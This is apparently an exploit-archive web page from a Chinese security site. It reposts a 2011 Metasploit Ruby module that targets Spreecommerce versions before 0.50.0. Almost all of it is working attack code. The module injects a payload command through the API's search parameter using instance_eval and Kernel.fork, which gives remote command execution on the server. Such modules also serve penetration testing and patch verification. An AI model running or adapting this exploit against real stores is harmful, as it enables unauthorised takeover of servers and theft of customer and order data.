首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Spreecommerce Arbitrary Command Execution
来源:http://www.metasploit.com 作者:joernchen 发布时间:2011-04-22  
##
# $Id: spree_searchlogic_exec.rb 12397 2011-04-21 19:38:42Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Spreecommerce < 0.50.0 Arbitrary Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
					Spreecommerce API searchlogic. Unvalidated input is called via the 
					Ruby send method allowing command execution.
			},
			'Author'         => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12397 
, 'References' => [ [ 'OSVDB', '71900'], [ 'URL', 'http://www.spreecommerce.com/blog/2011/04/19/security-fixes/' ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 31337, 'Compat' => { 'PayloadType' => 'cmd', } }, 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Apr 19 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]), ], self.class) end def exploit command = Rex::Text.uri_encode(payload.encoded) urlconfigdir = datastore['URI'] + "api/orders.json?search[instance_eval]=Kernel.fork%20do%60#{command}%60end" res = send_request_raw({ 'uri' => urlconfigdir, 'method' => 'GET', 'headers' => { 'HTTP_AUTHORIZATION' => 'ABCD', #needs to be present 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 0.4 ) #short timeout, we don't care about the response if (res) print_status("The server returned: #{res.code} #{res.message}") end handler end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·KMPlayer 2.9.x (.kpl) Stack Bu
·QtWeb Browser 3.7.2 Denial Of
·Gesytec ElonFmt ActiveX 1.1.14
·PHP phar extension 1.1.1 Heap
·Wireshark <= 1.4.4 packet-dect
·Linux/x86 - netcat bindshell p
·docuFORM Mercury WebApp 6.16a/
·AT-TFTP Server 1.8 Denial Of S
·eZip Wizard 3.0 Stack Buffer O
·eXPert PDF Editor 7 Profession
·RealPlayer 11 Browser Active-X
·Windows Media Player 11 .ogg P
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved